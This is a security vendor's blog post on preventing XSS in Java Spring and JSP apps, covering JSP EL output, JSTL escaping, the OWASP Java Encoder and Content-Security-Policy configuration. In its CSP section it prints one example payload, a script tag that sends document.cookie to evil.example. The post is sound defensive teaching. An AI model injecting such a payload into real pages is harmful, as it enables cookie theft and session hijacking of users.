Safeguard
Application Security

Preventing XSS in Java Spring and JSP applications

OWASP folded XSS into A03:2021-Injection, present in ~3.37% of tested apps — raw JSP EL output and a missing CSP header are still the two most common causes.

Safeguard Research Team
Research
Updated 6 min read

Cross-site scripting no longer has its own line item in the OWASP Top 10. In the 2021 revision, OWASP folded XSS into A03:2021-Injection, a merged category that now spans 33 CWEs, appears in roughly 3.37% of tested applications on average, and reaches as high as 19% incidence in the worst-affected testing datasets. The reasoning was structural, not cosmetic: SQL injection, command injection, and XSS all share the same root cause — untrusted data reaching an interpreter (a database driver, a shell, or a browser's HTML/JS parser) without being encoded for the context it lands in. A Java XSS bug follows that same pattern: in Java web applications specifically, the interpreter is almost always a JSP page or a Thymeleaf/Spring MVC view, and the failure mode is depressingly consistent: a request parameter flows into ${} Expression Language output with no escaping, or a <c:out> tag gets its default protection turned off "just this once." This post walks through the layered defenses that actually stop this in Spring and JSP applications — contextual output encoding, JSTL's escaping defaults, the OWASP Java Encoder library, and Content-Security-Policy as a browser-enforced backstop — and where each one falls short on its own.

Why does raw JSP Expression Language output cause so many real-world XSS bugs?

Because JSP's Expression Language was never designed to escape anything by default. Writing ${param.name} directly into a JSP page inserts the raw string into the HTML response — if a request parameter contains <script>, it renders as a literal script tag. This is different from JSTL's <c:out> tag, which sets escapeXml="true" by default and converts <, >, &, ', and " into their HTML entity equivalents automatically. The bug pattern shows up constantly in legacy codebases because both syntaxes look almost identical on the page — ${param.name} versus <c:out value="${param.name}"/> — and only one of them is safe for untrusted input. OWASP's own JSP guidance is explicit that escapeXml should not be disabled for any value derived from request parameters, headers, or cookies, precisely because that flag is the one line standing between a template and reflected XSS.

What does the OWASP Java Encoder protect against that JSTL escaping misses in a Java XSS finding?

<c:out> and escapeXml handle HTML body context well, but a single escaping function can't cover every place untrusted data lands on a page. Data written into an HTML attribute, a <script> block, an inline CSS value, or a URL query string each needs a different encoding scheme — HTML entity encoding does not neutralize a payload injected into onclick="..." or into a JavaScript string literal. The OWASP Java Encoder Project (a dependency-light library with JSP tag and EL function support, documented at owasp.org/www-project-java-encoder and github.com/OWASP/owasp-java-encoder) provides separate, context-aware encoders for each of these sinks: Encode.forHtml(), Encode.forHtmlAttribute(), Encode.forJavaScript(), Encode.forCssString(), and Encode.forUriComponent(), among others. The library is explicitly framed as output encoding, not input validation — it doesn't reject or sanitize data on the way in, it transforms it correctly on the way out, at the exact point it's written into a specific context. That distinction matters: input validation can't anticipate every sink a value will eventually reach, but context-aware output encoding, applied at the point of output, always matches the actual risk.

Does Content-Security-Policy replace output encoding?

No, and treating it as a substitute is one of the more common mistakes teams make after they've been burned by an XSS finding. Content-Security-Policy is a browser-enforced response header that allowlists which script sources, style sources, and other resources a page is permitted to load and execute — for example, script-src 'self' blocks any inline <script> tag or externally hosted script that isn't explicitly trusted. That's real protection: a well-configured CSP can stop an injected <script>document.location='https://evil.example/?c='+document.cookie</script> payload from executing even if it did make it into the response body. But CSP mitigates impact after an injection has already occurred — it does nothing to prevent the injection itself, and a permissive or misconfigured policy (unsafe-inline, wildcarded hosts, missing nonce) provides no protection at all. Both OWASP and browser-vendor guidance are consistent on this point: CSP is defense-in-depth layered on top of output encoding and input validation, never a replacement for either.

Why doesn't Spring enable CSP by default?

Recent versions of Spring Framework and Spring Security do ship several security headers automatically — headers like X-Content-Type-Options: nosniff, X-Frame-Options, and cache-control directives are applied out of the box through Spring Security's default header configuration. Content-Security-Policy is not among them. The likely reason is that CSP, unlike those simpler headers, requires application-specific knowledge: an allowlist of legitimate script and style sources that only the application team can define, since an overly strict default would break inline scripts and third-party widgets many apps rely on, while an overly permissive default would provide no real protection at all. Spring instead exposes CSP as something you configure explicitly, typically via HttpSecurity.headers().contentSecurityPolicy(policyDirectives -> policyDirectives.policyDirectives("script-src 'self'")) in a SecurityFilterChain bean. The practical takeaway: if you haven't added that line, your Spring app is not sending a CSP header, regardless of how many other security headers appear to be "handled by the framework."

How Safeguard Helps

Contextual output encoding and CSP are code-level and configuration-level decisions, which means the highest-leverage way to catch gaps at scale is to trace them in the source before they ship. Safeguard's SAST engine analyzes Java source code (alongside JavaScript/TypeScript and Python in its current phase) by tracing untrusted input from a source — a request parameter, a header, a form field — through to a dangerous sink, including raw EL output written into a JSP response without passing through <c:out> or an OWASP Java Encoder call. Each finding carries the full source-to-sink dataflow trace along with a CWE and OWASP mapping, so a developer sees exactly which request parameter reaches which unescaped output point, not just a bare rule match. Because Safeguard correlates SAST findings with the same unified model used across SCA, secrets, and DAST scanning, a reflected-XSS finding confirmed by a DAST probe against a running application can be linked back to the exact JSP or controller line that produced it — turning "this endpoint reflects untrusted input" into a prioritized, fixable ticket instead of a standalone runtime alert.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.